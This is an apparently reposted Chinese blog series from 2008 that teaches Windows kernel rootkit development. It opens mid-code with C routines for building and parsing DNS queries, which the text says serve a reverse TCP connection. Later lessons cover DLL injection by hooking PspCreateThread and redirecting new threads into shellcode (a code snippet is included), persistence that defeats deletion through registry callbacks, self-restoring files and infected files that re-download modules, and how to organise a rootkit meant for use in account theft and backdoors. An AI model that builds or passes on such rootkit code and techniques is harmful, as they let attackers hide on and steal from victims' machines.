RtlCopyMemory( hostent_content, res_record->rdata, 4); hostent_content += 4; } } else { if (NTOHS(res_record->type) == 12) { *hostent_array++ = hostent_content; taille_string_requete_format_dns = ChangefromDnsNameFormat( hostent_content, res_record->rdata, FALSE); hostent_content += taille_string_requete_format_dns+1; } } res_record_crawler += sizeof(CUSTOM_RES_RECORD)+NTOHS(res_record->data_len)-2; } } free (buf); return 0; } char* build_dns_query ( IN char* nom_a_resoudre, OUT int* taille_buffer_dns, IN BOOL rdns) { unsigned char * buf = NULL; DNS_HEADER * dns = NULL; unsigned char * qname = NULL; int      taille_string_requete_format_dns = 0; QUESTION *   qinfo = NULL;   buf = malloc_np (2048); if (buf == NULL) { errno = WSA_NOT_ENOUGH_MEMORY; return NULL; } RtlZeroMemory(buf,2048); //1 Construction du message DNS //buffer : DNS_HEADER | nom modifi?| QUESTION dns=(DNS_HEADER*)buf; dns->id = 1234; //Flags DNS dns->qr = 0; //This is a query dns->opcode = 0; //This is a standard query dns->aa = 0; //Not Authoritative dns->tc = 0; //This message is not truncated dns->rd = 1; //Recursion Desired dns->ra = 0; //Recursion not available! hey we dont have it (lol) dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = HTONS(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; qname =(unsigned char*)&buf[sizeof(DNS_HEADER)]; taille_string_requete_format_dns = ChangetoDnsNameFormat( qname, nom_a_resoudre, rdns); //Infos DNS qinfo =(QUESTION*)&buf[sizeof(DNS_HEADER) + taille_string_requete_format_dns]; if (rdns) qinfo->qtype = HTONS(12); //reverse DNS : adresse -> nom else qinfo->qtype = HTONS(1); //DNS : nom -> adresse qinfo->qclass = HTONS(1); *taille_buffer_dns = sizeof(DNS_HEADER) + taille_string_requete_format_dns + sizeof(QUESTION); return buf; } 至此我们获得了服务器解析~ 然后我们就可以顺利的使用TCP反弹了~ 本文完整的代码连接:可恶的俄国+荷兰式注释的代码:http://www.debugman.com/read.php?tid=1954   白菜普及课第八讲 DLL又见DLL 2008-09-09 12:44白菜 = rootkit rootkit = 白菜 DLL插入是个很火的东西~ 我以前说过利用ZwXXXX拦截AppInit_DLLs读取法插入DLL,今天再说几个更邪恶,更发指的~ 先说个简单吧,在ring0下用APC插入DLL~~可以看sudami逆向的fucksys 接着说个邪恶的,利用inline hook keXXCallbackXX,对DLL的XX功能号过滤,发现是加载某DLL的都替换成自己的DLL的路径~~ 再说个更淫荡的,在白菜驱动里利用那个knowndlls\\XX.dll的section做hotpatch插入DLL 接着再说个,shim engine的section loader法~ 再接着来,imageloadnotifyroutine做patch的loaddll 然后还有,经典的CreateSectionXX Hook里patch的loaddll 不过我今天谈论的不是这些,是更邪恶,更暴力,更YD的~ 我把他叫做new thread法~就是做个inline hook PspCreateThread~ 每次检查一下StartRoutine,如果startRoutine在应用层且进程是我们要XX的而且我们之前没有做插入,则开始XX DWORD   sharedUsr = 0×7ffe0800; DWORD   sharedKrn = 0xffdf0800; 将StartRoutine设置成sharedUsr *((PDWORD)(shell_code+jmp_offset))=startRoutine;startRoutine = (PVOID)sharedUsr; RtlCopyMemory((PVOID)sharedKrn,(PVOID)shell_code,sizeof(shell_code)); 然后设置上正在进行插入就行了~,假设loadimagenotify收到我们的dll加载,则不再做这个操作, 否则定时器到时立刻设置插入未进行状态,继续插入~~   白菜普及课第九讲 WS的白菜复活技术 2008-09-09 13:15白菜 = rootkit rootkit = 白菜 本来打算第九讲说一下破坏的,但是考虑到破坏这玩意不流行了,不XX了~ 我们回过头来说复活吧。这里的白菜复活不涉及抗格式化技术或者其他chipes kit技术,仅以单纯的思想来思考复活。一般的复活有文件复活,注册表复活 我 们来说下文件复活吧,首先要抗直接写注册表的renampending删除,就是注册个CmCallback每次注册表写renamepending都去 检查一旦有自己在里面,立刻把内存备份的文件写入磁盘并起个新的名字,然后写入新的注册项,并保护好这些东西 ~然后要抗Disk level删除,文件已经被删除了,我们隐藏+保护都失败了–没事我们有定时检查啊,自己调用一套方式检查自己的文件是否还在,如果没了,立刻把内存备份 写入以新的名字存入,并写新的启动项,然后保护起来~~好了这就基本上做到了复活术了。 真正要做好复活术是不容易的,还需要结合多种东西,比如ring3级重新安装的dll,比如一些xx文件替换(如userinit.exe替换,但是驱动做重定向保护,使得多数软件检查不成功)… 最后提一下,obj干涉式重定向技术解决了一个很XX的问题,就是一般性的文件复活问题。除了自己写pending外基本没啥害怕的~~如果不遇到磁盘XX的XX话~~ 注册表,在线删除只要保护做的好,XX工作做的好,基本上就是离线是个问题。 离线删除注册表一般都是删除完事直接重启,不给机会复活,所以ring3的文件感染可能很不错(感染后的shellcode负责重新下载安装模块~~)~~呵呵   白菜普及课第十讲 要实用! 2008-09-09 13:25白菜 = rootkit rootkit = 白菜 正式开始写~ 第十讲是白菜普及系列的最后一讲,这一讲,我们主要说说可以投入使用的实用白菜是怎么弄。 第一你要写个白菜的框架 rkmain.c文件和它的头文件rkmain.h rkmain.c中只有DriverEntry实现和各类初始化调用,什么reload的使用都是在这里,rkmain.h中是符号名字之类的东西~ 还有ioctrl.c和ioctrl.h,这里控制所有的交互,包括create,close,read,write,devio等~,调用其他接口做其他工作,ioctrl.h中定义了ioctrlcode等交互用物品。 再有各个模块比如用于做Hook的就叫HookLib.c和HookLib.h,接口定义好,反汇编引擎叫disasm.h和disasm.c,汇编引擎叫libasm.c和libasm.h,每个模块的功能和文件名字一定要对好~ 进程隐藏的模块叫ProcHide.c和ProHide.h。。诸如此类 方便维护和更新,同时跟你一起搞白菜的人看的也舒服~~ 第二是注释和测试信息的输出,我的建议是每一个函数写个说明,功能是什么,参数都是啥意义,举个用的方法,然后在简单说下更新日期和作者们都是谁。每一个if检查的地方都最好做一个DbgPrint输出~ 这样子白菜的维护性更高,更方便团队式白菜开发~ 第三是 尽量先理清白菜的思路,就是白菜要做什么,这些事情是不是有交叉重复的点,该有那些hook 是必要的,那些是不必要的,是否怎么怎么样之类的,写下来,作为develop note来看,以后可以开发陷入误区死角的时候看看很有帮助~ 第 四是 白菜在开发开始的时候也有两个note,一个是develop note一个是debug note,Develop note是说做了什么,目的是什么,要怎样;debug note是指测试的结果,遇到的问题,如果如何解决的等等~白菜在开发过程中要多测试,其实一口气写完白菜,一定蓝的很精彩,很绚丽,所以一定多测试,每 一个功能完成后要测试再测试,验证稳定性后再进行下一个开发,否则到头来会因为大量的问题导致白菜失败。 第五不要追求最新最潮流的技术,最新最潮流 == 蓝屏王 好 了,现在我们回来说说白菜设计吧,白菜分成几种,一种是隐藏为主XX为辅的(如Fu,Futo,Hxdef等),一种以保护和隐藏为一切(如 3721,8848,9991,piaoxue,my123),再一种以XX为主保护为辅(AFXRootkit之类的),再一种是纯show技术的(如 bluepill之类的),再有一些是专门以插入为主的(如onlinegame盗号系列)…各种各样,有的没有hook,有的很多hook–从一般性上 说可以把白菜分成无hook和有hook两种~~ 主要看目的,我就举个例子,比如以最近比较火的白菜们为例都是以插入辅助盗号为主要方式,其不需要hook直接用Notify+APC法就行。但是你非要保护自己,比如做BackDoor的工作,那你要hook了,还要保护hook,还要保护自己,另外还要尽量避免被杀… 当然如果目的就是做个大集合出来,那么随便吧~~
  • 相关阅读:
    第01组 Beta冲刺(2/4)
    第01组 Beta冲刺(1/4)
    第01组 Alpha事后诸葛亮
    第01组 Alpha冲刺(4/4)
    第01组 Alpha冲刺(3/4)
    第01组 Alpha冲刺(2/4)
    第01组 Alpha冲刺(1/4)
    提高回顾与个人总结
    软件工程结对作业博客
    软件工程第一次阅读作业
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327152.html
Copyright © 2020-2023  润新知